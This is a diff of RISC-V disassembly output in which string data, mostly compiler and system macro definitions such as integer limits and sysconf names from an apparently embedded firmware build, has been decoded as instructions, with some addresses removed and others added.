+    75ec:	2930                	fld	fa2,80(a0)
+    75ee:	0029                	c.nop	10
+    75f0:	4955                	li	s2,21
+    75f2:	544e                	lw	s0,240(sp)
+    75f4:	5f38                	lw	a4,120(a4)
+    75f6:	414d                	li	sp,19
+    75f8:	0058                	addi	a4,sp,4
+    75fa:	505f 5f43 5250      	0x52505f43505f
+    7600:	4f49                	li	t5,18
+    7602:	495f 204f 3031      	0x3031204f495f
+    7608:	5f00                	lw	s0,56(a4)
+    760a:	645f 6461 7264      	0x72646461645f
+    7610:	745f 645f 6665      	0x6665645f745f
+    7616:	6e69                	lui	t3,0x1a
+    7618:	6465                	lui	s0,0x19
+    761a:	0020                	addi	s0,sp,8
+    761c:	535f 5f43 504e      	0x504e5f43535f
+    7622:	4f52                	lw	t5,20(sp)
+    7624:	53534543          	fmadd.d	fa0,ft6,fs5,fa0,rmm
+    7628:	5f53524f          	fnmadd.q	ft4,ft6,fs5,fa1,unknown
+    762c:	4e4c4e4f          	fnmadd.q	ft8,fs8,ft4,fs1,rmm
+    7630:	3120                	fld	fs0,96(a0)
+    7632:	0030                	addi	a2,sp,8
+    7634:	5f5f 4e49 3654      	0x36544e495f5f
+    763a:	5f34                	lw	a3,120(a4)
+    763c:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    7640:	6320                	flw	fs0,64(a4)
+    7642:	2320                	fld	fs0,64(a4)
+    7644:	4c4c2023          	sw	tp,1216(s8) # 1d4c0 <__stack_size+0x1ccc0>
+    7648:	4100                	lw	s0,0(a0)
+    764a:	5f54                	lw	a3,60(a4)
+    764c:	4145                	li	sp,17
+    764e:	53454343          	fmadd.d	ft6,fa0,fs4,fa0,rmm
+    7652:	00312053          	fadd.s	ft0,ft2,ft3,rdn
+    7656:	5750                	lw	a2,44(a4)
+    7658:	5f4d                	li	t5,-13
+    765a:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    765e:	4544                	lw	s1,12(a0)
+    7660:	54494c47          	0x54494c47
+    7664:	30204843          	fmadd.s	fa6,ft0,ft2,ft6,rmm
+    7668:	3078                	fld	fa4,224(s0)
+    766a:	3030                	fld	fa2,96(s0)
+    766c:	3030                	fld	fa2,96(s0)
+    766e:	3034                	fld	fa3,96(s0)
+    7670:	0030                	addi	a2,sp,8
+    7672:	5750                	lw	a2,44(a4)
+    7674:	5f4d                	li	t5,-13
+    7676:	33504d43          	fmadd.d	fs10,ft0,fs5,ft6,rmm
+    767a:	3020                	fld	fs0,96(s0)
+    767c:	3278                	fld	fa4,224(a2)
+    767e:	5f5f0043          	fmadd.q	ft0,ft10,fs5,fa1,rne
+    7682:	4c45                	li	s8,17
+    7684:	5f46                	lw	t5,112(sp)
+    7686:	205f 0031 4953      	0x49530031205f
+    768c:	455a                	lw	a0,148(sp)
+    768e:	4d5f 5841 5f20      	0x5f2058414d5f
+    7694:	535f 5a49 5f45      	0x5f455a49535f
+    769a:	414d                	li	sp,19
+    769c:	5f58                	lw	a4,60(a4)
+    769e:	005f 525f 4745      	0x4745525f005f
+    76a4:	3436                	fld	fs0,360(sp)
+    76a6:	6228                	flw	fa0,64(a2)
+    76a8:	7361                	lui	t1,0xffff8
+    76aa:	2c65                	jal	7962 <__stack_size+0x7162>
+    76ac:	7366666f          	jal	a2,6dde2 <__stack_size+0x6d5e2>
+    76b0:	7465                	lui	s0,0xffff9
+    76b2:	2029                	jal	76bc <__stack_size+0x6ebc>
+    76b4:	2a28                	fld	fa0,80(a2)
+    76b6:	7628                	flw	fa0,104(a2)
+    76b8:	74616c6f          	jal	s8,1ddfe <__stack_size+0x1d5fe>
+    76bc:	6c69                	lui	s8,0x1a
+    76be:	2065                	jal	7766 <__stack_size+0x6f66>
+    76c0:	6975                	lui	s2,0x1d
+    76c2:	746e                	flw	fs0,248(sp)
+    76c4:	3436                	fld	fs0,360(sp)
+    76c6:	745f 2a20 2829      	0x28292a20745f
+    76cc:	6228                	flw	fa0,64(a2)
+    76ce:	7361                	lui	t1,0xffff8
+    76d0:	2965                	jal	7b88 <__stack_size+0x7388>
+    76d2:	2b20                	fld	fs0,80(a4)
+    76d4:	2820                	fld	fs0,80(s0)
+    76d6:	7366666f          	jal	a2,6de0c <__stack_size+0x6d60c>
+    76da:	7465                	lui	s0,0xffff9
+    76dc:	2929                	jal	7af6 <__stack_size+0x72f6>
+    76de:	0029                	c.nop	10
+    76e0:	535f 5359 5f5f      	0x5f5f5359535f
+    76e6:	49445453          	0x49445453
+    76ea:	544e                	lw	s0,240(sp)
+    76ec:	485f 0020 5f5f      	0x5f5f0020485f
+    76f2:	5358                	lw	a4,36(a4)
+    76f4:	5254                	lw	a3,36(a2)
+    76f6:	4e49                	li	t3,18
+    76f8:	29782847          	fmsub.s	fa6,fa6,fs7,ft5,rdn
+    76fc:	5f20                	lw	s0,120(a4)
+    76fe:	535f 5254 4e49      	0x4e495254535f
+    7704:	29782847          	fmsub.s	fa6,fa6,fs7,ft5,rdn
+    7708:	5f00                	lw	s0,56(a4)
+    770a:	535f 4343 4953      	0x49534343535f
+    7710:	2844                	fld	fs1,144(s0)
+    7712:	73202973          	csrr	s2,0x732
+    7716:	7274                	flw	fa3,100(a2)
+    7718:	6375                	lui	t1,0x1d
+    771a:	2074                	fld	fa3,192(s0)
+    771c:	5f5f 6168 6b63      	0x6b6361685f5f
+    7722:	5f00                	lw	s0,56(a4)
+    7724:	475f 4343 415f      	0x415f4343475f
+    772a:	4f54                	lw	a3,28(a4)
+    772c:	494d                	li	s2,19
+    772e:	4f425f43          	fmadd.q	ft10,ft4,fs4,fs1,unknown
+    7732:	4c5f4c4f          	0x4c5f4c4f
+    7736:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    773a:	5246                	lw	tp,112(sp)
+    773c:	4545                	li	a0,17
+    773e:	3120                	fld	fs0,96(a0)
+    7740:	5300                	lw	s0,32(a4)
+    7742:	495f 4552 4441      	0x44414552495f
+    7748:	3020                	fld	fs0,96(s0)
+    774a:	3030                	fld	fa2,96(s0)
+    774c:	3430                	fld	fa2,104(s0)
+    774e:	3030                	fld	fa2,96(s0)
+    7750:	5f00                	lw	s0,56(a4)
+    7752:	495f 544e 465f      	0x465f544e495f
+    7758:	5341                	li	t1,-16
+    775a:	3354                	fld	fa3,160(a4)
+    775c:	5f32                	lw	t5,44(sp)
+    775e:	414d                	li	sp,19
+    7760:	5f58                	lw	a4,60(a4)
+    7762:	205f 7830 6637      	0x66377830205f
+    7768:	6666                	flw	fa2,88(sp)
+    776a:	6666                	flw	fa2,88(sp)
+    776c:	6666                	flw	fa2,88(sp)
+    776e:	5000                	lw	s0,32(s0)
+    7770:	494c                	lw	a1,20(a0)
+    7772:	4e455f43          	fmadd.q	ft10,fa0,ft4,fs1,unknown
+    7776:	535f 4948 5446      	0x54464948535f
+    777c:	505f 5245 545f      	0x545f5245505f
+    7782:	5241                	li	tp,-16
+    7784:	20544547          	fmsub.s	fa0,fs0,ft5,ft4,rmm
+    7788:	0031                	c.nop	12
+    778a:	4d44                	lw	s1,28(a0)
+    778c:	5f41                	li	t5,-16
+    778e:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    7792:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    7796:	7830                	flw	fa2,112(s0)
+    7798:	3031                	jal	6fa4 <__stack_size+0x67a4>
+    779a:	4f00                	lw	s0,24(a4)
+    779c:	455f 4358 204c      	0x204c4358455f
+    77a2:	465f 5845 4c43      	0x4c435845465f
+    77a8:	5f00                	lw	s0,56(a4)
+    77aa:	4e49                	li	t3,18
+    77ac:	3154                	fld	fa3,160(a0)
+    77ae:	5f36                	lw	t5,108(sp)
+    77b0:	5f54                	lw	a3,60(a4)
+    77b2:	4544                	lw	s1,12(a0)
+    77b4:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    77b8:	4445                	li	s0,17
+    77ba:	0020                	addi	s0,sp,8
+    77bc:	5a4d                	li	s4,-13
+    77be:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    77c2:	4959                	li	s2,22
+    77c4:	4c45                	li	s8,17
+    77c6:	2844                	fld	fs1,144(s0)
+    77c8:	2029                	jal	77d2 <__stack_size+0x6fd2>
+    77ca:	7361                	lui	t1,0xffff8
+    77cc:	206d                	jal	7876 <__stack_size+0x7076>
+    77ce:	6f76                	flw	ft10,92(sp)
+    77d0:	616c                	flw	fa1,68(a0)
+    77d2:	6974                	flw	fa3,84(a0)
+    77d4:	656c                	flw	fa1,76(a0)
+    77d6:	2820                	fld	fs0,80(s0)
+    77d8:	6c22                	flw	fs8,8(sp)
+    77da:	2069                	jal	7864 <__stack_size+0x7064>
+    77dc:	3061                	jal	7064 <__stack_size+0x6864>
+    77de:	202c                	fld	fa1,64(s0)
+    77e0:	3b30                	fld	fa2,112(a4)
+    77e2:	2022                	fld	ft0,8(sp)
+    77e4:	7a6d                	lui	s4,0xffffb
+    77e6:	20656e6f          	jal	t3,5d9ec <__stack_size+0x5d1ec>
+    77ea:	203a                	fld	ft0,392(sp)
+    77ec:	203a                	fld	ft0,392(sp)
+    77ee:	203a                	fld	ft0,392(sp)
+    77f0:	6122                	flw	ft2,8(sp)
+    77f2:	2230                	fld	fa2,64(a2)
+    77f4:	3b29                	jal	750e <__stack_size+0x6d0e>
+    77f6:	5700                	lw	s0,40(a4)
+    77f8:	4e49                	li	t3,18
+    77fa:	5f54                	lw	a3,60(a4)
+    77fc:	494d                	li	s2,19
+    77fe:	204e                	fld	ft0,208(sp)
+    7800:	5f5f 4957 544e      	0x544e49575f5f
+    7806:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    780c:	7300                	flw	fs0,32(a4)
+    780e:	5f74                	lw	a3,124(a4)
+    7810:	7461                	lui	s0,0xffff8
+    7812:	6d69                	lui	s10,0x1a
+    7814:	2065                	jal	78bc <__stack_size+0x70bc>
+    7816:	615f7473          	csrrci	s0,0x615,30
+    781a:	6974                	flw	fa3,84(a0)
+    781c:	2e6d                	jal	7bd6 <__stack_size+0x73d6>
+    781e:	7674                	flw	fa3,108(a2)
+    7820:	735f 6365 5f00      	0x5f006365735f
+    7826:	4955                	li	s2,21
+    7828:	544e                	lw	s0,240(sp)
+    782a:	414d                	li	sp,19
+    782c:	5f58                	lw	a4,60(a4)
+    782e:	5f54                	lw	a3,60(a4)
+    7830:	4544                	lw	s1,12(a0)
+    7832:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    7836:	4445                	li	s0,17
+    7838:	0020                	addi	s0,sp,8
+    783a:	535f 5f43 4854      	0x48545f43535f
+    7840:	4552                	lw	a0,20(sp)
+    7842:	4441                	li	s0,16
+    7844:	505f 4952 5f4f      	0x5f4f4952505f
+    784a:	4c494543          	0x4c494543
+    784e:	4e49                	li	t3,18
+    7850:	535f2047          	fmsub.d	ft0,ft10,fs5,fa0,rdn
+    7854:	48545f43          	fmadd.s	ft10,fs0,ft5,fs1,unknown
+    7858:	4552                	lw	a0,20(sp)
+    785a:	4441                	li	s0,16
+    785c:	505f 4952 5f4f      	0x5f4f4952505f
+    7862:	5250                	lw	a2,36(a2)
+    7864:	4345544f          	fnmadd.d	fs0,fa0,fs4,fs0,unknown
+    7868:	0054                	addi	a3,sp,4
+    786a:	5750                	lw	a2,44(a4)
+    786c:	5f4d                	li	t5,-13
+    786e:	32504d43          	fmadd.d	fs10,ft0,ft5,ft6,rmm
+    7872:	3020                	fld	fs0,96(s0)
+    7874:	3278                	fld	fa4,224(a2)
+    7876:	0038                	addi	a4,sp,8
+    7878:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    787c:	484d                	li	a6,19
+    787e:	4d50                	lw	a2,28(a0)
+    7880:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
+    7884:	4554                	lw	a3,12(a0)
+    7886:	3252                	fld	ft4,304(sp)
+    7888:	2039                	jal	7896 <__stack_size+0x7096>
+    788a:	3532                	fld	fa0,296(sp)
+    788c:	5f00                	lw	s0,56(a4)
+    788e:	4552                	lw	a0,20(sp)
+    7890:	4e45                	li	t3,17
+    7892:	5f54                	lw	a3,60(a4)
+    7894:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
+    7898:	494d5f4b          	fnmsub.s	ft10,fs10,fs4,fs1,unknown
+    789c:	70284353          	0x70284353
+    78a0:	7274                	flw	fa3,100(a2)
+    78a2:	2029                	jal	78ac <__stack_size+0x70ac>
+    78a4:	5f00                	lw	s0,56(a4)
+    78a6:	544e4157          	0x544e4157
+    78aa:	495f 5f4f 4f4c      	0x4f4c5f4f495f
+    78b0:	474e                	lw	a4,208(sp)
+    78b2:	4c5f 4e4f 2047      	0x20474e4f4c5f
+    78b8:	0031                	c.nop	12
+    78ba:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    78be:	494d                	li	s2,19
+    78c0:	534e                	lw	t1,240(sp)
+    78c2:	5254                	lw	a3,36(a2)
+    78c4:	5445                	li	s0,-15
+    78c6:	3120                	fld	fs0,96(a0)
+    78c8:	0034                	addi	a3,sp,8
+    78ca:	535f 5f43 5953      	0x59535f43535f
+    78d0:	4c4d                	li	s8,19
+    78d2:	5f504f4f          	fnmadd.q	ft10,ft0,fs5,fa1,rmm
+    78d6:	414d                	li	sp,19
+    78d8:	2058                	fld	fa4,128(s0)
+    78da:	5f003937          	lui	s2,0x5f003
+    78de:	725f 7369 7663      	0x76637369725f
+    78e4:	635f 6d6f 7270      	0x72706d6f635f
+    78ea:	7365                	lui	t1,0xffff9
+    78ec:	20646573          	csrrsi	a0,0x206,8
+    78f0:	0031                	c.nop	12
+    78f2:	535f 5f43 4f58      	0x4f585f43535f
+    78f8:	4550                	lw	a2,12(a0)
+    78fa:	5f4e                	lw	t5,240(sp)
+    78fc:	4e55                	li	t3,21
+    78fe:	5849                	li	a6,-14
+    7900:	3120                	fld	fs0,96(a0)
+    7902:	3530                	fld	fa2,104(a0)
+    7904:	5f00                	lw	s0,56(a4)
+    7906:	4146                	lw	sp,80(sp)
+    7908:	5050                	lw	a2,36(s0)
+    790a:	4e45                	li	t3,17
+    790c:	2044                	fld	fs1,128(s0)
+    790e:	7830                	flw	fa2,112(s0)
+    7910:	3030                	fld	fa2,96(s0)
+    7912:	3830                	fld	fa2,112(s0)
+    7914:	5f00                	lw	s0,56(a4)
+    7916:	465f 544c 3436      	0x3436544c465f
+    791c:	5f58                	lw	a4,60(a4)
+    791e:	4544                	lw	s1,12(a0)
+    7920:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    7924:	5f4c                	lw	a1,60(a4)
+    7926:	4944                	lw	s1,20(a0)
+    7928:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    792c:	5f003633          	0x5f003633
+    7930:	585f4353          	0x585f4353
+    7934:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
+    7938:	525f 4145 544c      	0x544c4145525f
+    793e:	4d49                	li	s10,18
+    7940:	5f45                	li	t5,-15
+    7942:	4854                	lw	a3,20(s0)
+    7944:	4552                	lw	a0,20(sp)
+    7946:	4441                	li	s0,16
+    7948:	30312053          	0x30312053
+    794c:	0032                	c.slli	zero,0xc
+    794e:	4955                	li	s2,21
+    7950:	544e                	lw	s0,240(sp)
+    7952:	4c5f 4145 5453      	0x545341454c5f
+    7958:	3631                	jal	7464 <__stack_size+0x6c64>
+    795a:	4d5f 5841 5f20      	0x5f2058414d5f
+    7960:	555f 4e49 5f54      	0x5f544e49555f
+    7966:	454c                	lw	a1,12(a0)
+    7968:	5341                	li	t1,-16
+    796a:	3154                	fld	fa3,160(a0)
+    796c:	5f36                	lw	t5,108(sp)
+    796e:	414d                	li	sp,19
+    7970:	5f58                	lw	a4,60(a4)
+    7972:	005f 535f 5359      	0x5359535f005f
+    7978:	535f 4c45 4345      	0x43454c45535f
+    797e:	5f54                	lw	a3,60(a4)
+    7980:	2048                	fld	fa0,128(s0)
+    7982:	4200                	lw	s0,0(a2)
+    7984:	54535f43          	0x54535f43
+    7988:	4952                	lw	s2,20(sp)
+    798a:	474e                	lw	a4,208(sp)
+    798c:	4d5f 5841 3120      	0x312058414d5f
+    7992:	3030                	fld	fa2,96(s0)
+    7994:	0030                	addi	a2,sp,8
+    7996:	5f5f 4553 464f      	0x464f45535f5f
+    799c:	3020                	fld	fs0,96(s0)
+    799e:	3078                	fld	fa4,224(s0)
+    79a0:	3230                	fld	fa2,96(a2)
+    79a2:	0030                	addi	a2,sp,8
+    79a4:	5f5f 4953 455a      	0x455a49535f5f
+    79aa:	445f464f          	0x445f464f
+    79ae:	4c42554f          	0x4c42554f
+    79b2:	5f45                	li	t5,-15
+    79b4:	205f 0038 5f5f      	0x5f5f0038205f
+    79ba:	4955                	li	s2,21
+    79bc:	544e                	lw	s0,240(sp)
+    79be:	465f 5341 3354      	0x33545341465f
+    79c4:	5f32                	lw	t5,44(sp)
+    79c6:	414d                	li	sp,19
+    79c8:	5f58                	lw	a4,60(a4)
+    79ca:	205f 7830 6666      	0x66667830205f
+    79d0:	6666                	flw	fa2,88(sp)
+    79d2:	6666                	flw	fa2,88(sp)
+    79d4:	6666                	flw	fa2,88(sp)
+    79d6:	0055                	c.nop	21
+    79d8:	5f5f 7362 6177      	0x617773625f5f
+    79de:	3370                	fld	fa2,224(a4)
+    79e0:	2832                	fld	fa6,264(sp)
+    79e2:	785f 2029 5f5f      	0x5f5f2029785f
+    79e8:	7562                	flw	fa0,56(sp)
+    79ea:	6c69                	lui	s8,0x1a
+    79ec:	6974                	flw	fa3,84(a0)
+    79ee:	5f6e                	lw	t5,248(sp)
+    79f0:	7362                	flw	ft6,56(sp)
+    79f2:	33706177          	0x33706177
+    79f6:	2832                	fld	fa6,264(sp)
+    79f8:	785f 0029 4546      	0x45460029785f
+    79fe:	4c58                	lw	a4,28(s0)
+    7a00:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    7a04:	465f 5845 4f4c      	0x4f4c5845465f
+    7a0a:	5f004b43          	fmadd.q	fs6,ft0,fa6,fa1,rmm
+    7a0e:	525f4353          	0x525f4353
+    7a12:	4745                	li	a4,17
+    7a14:	5845                	li	a6,-15
+    7a16:	2050                	fld	fa2,128(s0)
+    7a18:	5f003237          	lui	tp,0x5f003
+    7a1c:	565f4353          	0x565f4353
+    7a20:	4c495f37          	lui	t5,0x4c495
+    7a24:	3350                	fld	fa2,160(a4)
+    7a26:	5f32                	lw	t5,44(sp)
+    7a28:	3346464f          	fnmadd.d	fa2,fa2,fs4,ft6,rmm
+    7a2c:	2032                	fld	ft0,264(sp)
+    7a2e:	3239                	jal	733c <__stack_size+0x6b3c>
+    7a30:	5f00                	lw	s0,56(a4)
+    7a32:	4350                	lw	a2,4(a4)
+    7a34:	525f 4345 4d5f      	0x4d5f4345525f
+    7a3a:	4e49                	li	t3,18
+    7a3c:	585f 4546 5f52      	0x5f524546585f
+    7a42:	455a4953          	0x455a4953
+    7a46:	3120                	fld	fs0,96(a0)
+    7a48:	0038                	addi	a4,sp,8
+    7a4a:	495f 5f4e 4441      	0x44415f4e495f
+    7a50:	5244                	lw	s1,36(a2)
+    7a52:	545f 445f 4345      	0x4345445f545f
+    7a58:	414c                	lw	a1,4(a0)
+    7a5a:	4552                	lw	a0,20(sp)
+    7a5c:	2044                	fld	fs1,128(s0)
+    7a5e:	5000                	lw	s0,32(s0)
+    7a60:	435f4d57          	0x435f4d57
+    7a64:	504d                	c.li	zero,-13
+    7a66:	2031                	jal	7a72 <__stack_size+0x7272>
+    7a68:	7830                	flw	fa2,112(s0)
+    7a6a:	3432                	fld	fs0,296(sp)
     7a6c:	5f00                	lw	s0,56(a4)
-    7a6e:	535f 5257 3020      	0x30205257535f
-    7a74:	3078                	fld	fa4,224(s0)
-    7a76:	3030                	fld	fa2,96(s0)
-    7a78:	0038                	addi	a4,sp,8
-    7a7a:	525f 4e41 3444      	0x34444e41525f
-    7a80:	5f38                	lw	a4,120(a4)
-    7a82:	4441                	li	s0,16
-    7a84:	2044                	fld	fs1,128(s0)
-    7a86:	3028                	fld	fa0,96(s0)
-    7a88:	3078                	fld	fa4,224(s0)
-    7a8a:	3030                	fld	fa2,96(s0)
-    7a8c:	2962                	fld	fs2,24(sp)
-    7a8e:	4e00                	lw	s0,24(a2)
-    7a90:	4d41                	li	s10,16
-    7a92:	5f45                	li	t5,-15
-    7a94:	414d                	li	sp,19
-    7a96:	2058                	fld	fa4,128(s0)
-    7a98:	3532                	fld	fa0,296(sp)
-    7a9a:	0035                	c.nop	13
-    7a9c:	4c5f 4d49 5449      	0x54494d494c5f
-    7aa2:	5f485f53          	0x5f485f53
-    7aa6:	5f5f 0020 525f      	0x525f00205f5f
-    7aac:	4e41                	li	t3,16
-    7aae:	3444                	fld	fs1,168(s0)
-    7ab0:	5f38                	lw	a4,120(a4)
-    7ab2:	44454553          	0x44454553
-    7ab6:	305f 2820 7830      	0x78302820305f
-    7abc:	65303333          	0x65303333
-    7ac0:	0029                	c.nop	10
-    7ac2:	5f5f 444c 4c42      	0x4c42444c5f5f
-    7ac8:	445f 4e45 524f      	0x524f4e45445f
-    7ace:	5f4d                	li	t5,-13
-    7ad0:	494d                	li	s2,19
-    7ad2:	5f4e                	lw	t5,240(sp)
-    7ad4:	205f 2e36 3734      	0x37342e36205f
-    7ada:	3135                	jal	7706 <__stack_size+0x6f06>
-    7adc:	31313537          	lui	a0,0x31313
-    7ae0:	3439                	jal	74ee <__stack_size+0x6cee>
-    7ae2:	32303833          	0x32303833
-    7ae6:	3135                	jal	7712 <__stack_size+0x6f12>
-    7ae8:	3031                	jal	72f4 <__stack_size+0x6af4>
-    7aea:	3239                	jal	73f8 <__stack_size+0x6bf8>
-    7aec:	3434                	fld	fa3,104(s0)
-    7aee:	35393833          	0x35393833
-    7af2:	3238                	fld	fa4,96(a2)
-    7af4:	3732                	fld	fa4,296(sp)
-    7af6:	3436                	fld	fs0,360(sp)
-    7af8:	3536                	fld	fa0,360(sp)
-    7afa:	6535                	lui	a0,0xd
-    7afc:	342d                	jal	7526 <__stack_size+0x6d26>
-    7afe:	3639                	jal	760c <__stack_size+0x6e0c>
-    7b00:	4c36                	lw	s8,76(sp)
-    7b02:	5f00                	lw	s0,56(a4)
-    7b04:	5441                	li	s0,-16
-    7b06:	5254                	lw	a3,36(a2)
-    7b08:	4249                	li	tp,18
-    7b0a:	5455                	li	s0,-11
-    7b0c:	2845                	jal	7bbc <__stack_size+0x73bc>
-    7b0e:	7461                	lui	s0,0xffff8
-    7b10:	7274                	flw	fa3,100(a2)
-    7b12:	5f202973          	csrr	s2,0x5f2
-    7b16:	615f 7474 6972      	0x69727474615f
-    7b1c:	7562                	flw	fa0,56(sp)
-    7b1e:	6574                	flw	fa3,76(a0)
-    7b20:	5f5f 2820 7461      	0x746128205f5f
-    7b26:	7274                	flw	fa3,100(a2)
-    7b28:	4c002973          	csrr	s2,0x4c0
-    7b2c:	4e49                	li	t3,18
-    7b2e:	414d5f4b          	fnmsub.s	ft10,fs10,fs4,fs0,unknown
-    7b32:	2058                	fld	fa4,128(s0)
-    7b34:	36373233          	0x36373233
-    7b38:	5f5f0037          	lui	zero,0x5f5f0
-    7b3c:	4e49                	li	t3,18
-    7b3e:	4d54                	lw	a3,28(a0)
-    7b40:	5841                	li	a6,-16
-    7b42:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    7b48:	3020                	fld	fs0,96(s0)
-    7b4a:	3778                	fld	fa4,232(a4)
-    7b4c:	6666                	flw	fa2,88(sp)
-    7b4e:	6666                	flw	fa2,88(sp)
-    7b50:	6666                	flw	fa2,88(sp)
-    7b52:	6666                	flw	fa2,88(sp)
-    7b54:	6666                	flw	fa2,88(sp)
-    7b56:	6666                	flw	fa2,88(sp)
-    7b58:	6666                	flw	fa2,88(sp)
-    7b5a:	4c66                	lw	s8,88(sp)
-    7b5c:	004c                	addi	a1,sp,4
-    7b5e:	5f5f 6572 7571      	0x757165725f5f
-    7b64:	7269                	lui	tp,0xffffa
-    7b66:	7365                	lui	t1,0xffff9
-    7b68:	735f 6168 6572      	0x65726168735f
-    7b6e:	2864                	fld	fs1,208(s0)
-    7b70:	2e2e                	fld	ft8,200(sp)
-    7b72:	292e                	fld	fs2,200(sp)
-    7b74:	5f20                	lw	s0,120(a4)
-    7b76:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    7b7c:	6e61                	lui	t3,0x18
-    7b7e:	6f6e                	flw	ft10,216(sp)
-    7b80:	6174                	flw	fa3,68(a0)
-    7b82:	6574                	flw	fa3,76(a0)
-    7b84:	7328                	flw	fa0,96(a4)
-    7b86:	6168                	flw	fa0,68(a0)
-    7b88:	6572                	flw	fa0,28(sp)
-    7b8a:	5f64                	lw	s1,124(a4)
-    7b8c:	6f6c                	flw	fa1,92(a4)
-    7b8e:	5f736b63          	bltu	t1,s7,8184 <__stack_size+0x7984>
-    7b92:	6572                	flw	fa0,28(sp)
-    7b94:	7571                	lui	a0,0xffffc
-    7b96:	7269                	lui	tp,0xffffa
-    7b98:	6465                	lui	s0,0x19
-    7b9a:	5f28                	lw	a0,120(a4)
-    7b9c:	565f 5f41 5241      	0x52415f41565f
-    7ba2:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    7ba6:	2929                	jal	7fc0 <__stack_size+0x77c0>
-    7ba8:	7100                	flw	fs0,32(a0)
-    7baa:	74726f73          	csrrsi	t5,0x747,4
-    7bae:	5f00                	lw	s0,56(a4)
-    7bb0:	465f 544c 3436      	0x3436544c465f
-    7bb6:	4e5f 524f 5f4d      	0x5f4d524f4e5f
+    7a6e:	465f 544c 3233      	0x3233544c465f
+    7a74:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    7a7a:	3120                	fld	fs0,96(a0)
+    7a7c:	312e                	fld	ft2,232(sp)
+    7a7e:	39343537          	lui	a0,0x39343
+    7a82:	3334                	fld	fa3,96(a4)
+    7a84:	3035                	jal	72b0 <__stack_size+0x6ab0>
+    7a86:	3238                	fld	fa4,96(a2)
+    7a88:	3232                	fld	ft4,296(sp)
+    7a8a:	3738                	fld	fa4,104(a4)
+    7a8c:	3035                	jal	72b8 <__stack_size+0x6ab8>
+    7a8e:	38363937          	lui	s2,0x38363
+    7a92:	35363337          	lui	t1,0x35363
+    7a96:	32323733          	0x32323733
+    7a9a:	3232                	fld	ft4,296(sp)
+    7a9c:	3534                	fld	fa3,104(a0)
+    7a9e:	3836                	fld	fa6,360(sp)
+    7aa0:	2d65                	jal	8158 <__stack_size+0x7958>
+    7aa2:	33463833          	0x33463833
+    7aa6:	0032                	c.slli	zero,0xc
+    7aa8:	535f 5f43 504e      	0x504e5f43535f
+    7aae:	4f52                	lw	t5,20(sp)
+    7ab0:	53534543          	fmadd.d	fa0,ft6,fs5,fa0,rmm
+    7ab4:	5f53524f          	fnmadd.q	ft4,ft6,fs5,fa1,unknown
+    7ab8:	464e4f43          	fmadd.q	ft10,ft8,ft4,fs0,rmm
+    7abc:	3920                	fld	fs0,112(a0)
+    7abe:	4300                	lw	s0,0(a4)
+    7ac0:	4b4c                	lw	a1,20(a4)
+    7ac2:	545f 4b43 4320      	0x43204b43545f
+    7ac8:	4f4c                	lw	a1,28(a4)
+    7aca:	5f534b43          	fmadd.q	fs6,ft6,fs5,fa1,rmm
+    7ace:	4550                	lw	a2,12(a0)
+    7ad0:	5f52                	lw	t5,52(sp)
+    7ad2:	00434553          	fadd.s	fa0,ft6,ft4,rmm
+    7ad6:	5f5f 4e47 5f55      	0x5f554e475f5f
+    7adc:	4956                	lw	s2,84(sp)
+    7ade:	4c424953          	0x4c424953
+    7ae2:	2045                	jal	7b82 <__stack_size+0x7382>
+    7ae4:	0030                	addi	a2,sp,8
+    7ae6:	5f5f 5753 2052      	0x205257535f5f
+    7aec:	7830                	flw	fa2,112(s0)
+    7aee:	3030                	fld	fa2,96(s0)
+    7af0:	3830                	fld	fa2,112(s0)
+    7af2:	5f00                	lw	s0,56(a4)
+    7af4:	4152                	lw	sp,20(sp)
+    7af6:	444e                	lw	s0,208(sp)
+    7af8:	3834                	fld	fa3,112(s0)
+    7afa:	415f 4444 2820      	0x28204444415f
+    7b00:	7830                	flw	fa2,112(s0)
+    7b02:	3030                	fld	fa2,96(s0)
+    7b04:	6230                	flw	fa2,64(a2)
+    7b06:	0029                	c.nop	10
+    7b08:	414e                	lw	sp,208(sp)
+    7b0a:	454d                	li	a0,19
+    7b0c:	4d5f 5841 3220      	0x322058414d5f
+    7b12:	3535                	jal	793e <__stack_size+0x713e>
+    7b14:	5f00                	lw	s0,56(a4)
+    7b16:	494c                	lw	a1,20(a0)
+    7b18:	494d                	li	s2,19
+    7b1a:	5354                	lw	a3,36(a4)
+    7b1c:	485f 5f5f 205f      	0x205f5f5f485f
+    7b22:	5f00                	lw	s0,56(a4)
+    7b24:	4152                	lw	sp,20(sp)
+    7b26:	444e                	lw	s0,208(sp)
+    7b28:	3834                	fld	fa3,112(s0)
+    7b2a:	535f 4545 5f44      	0x5f444545535f
+    7b30:	2030                	fld	fa2,64(s0)
+    7b32:	3028                	fld	fa0,96(s0)
+    7b34:	3378                	fld	fa4,224(a4)
+    7b36:	29653033          	0x29653033
+    7b3a:	5f00                	lw	s0,56(a4)
+    7b3c:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    7b42:	4544                	lw	s1,12(a0)
+    7b44:	4f4e                	lw	t5,208(sp)
+    7b46:	4d52                	lw	s10,20(sp)
+    7b48:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    7b4e:	3620                	fld	fs0,104(a2)
+    7b50:	342e                	fld	fs0,232(sp)
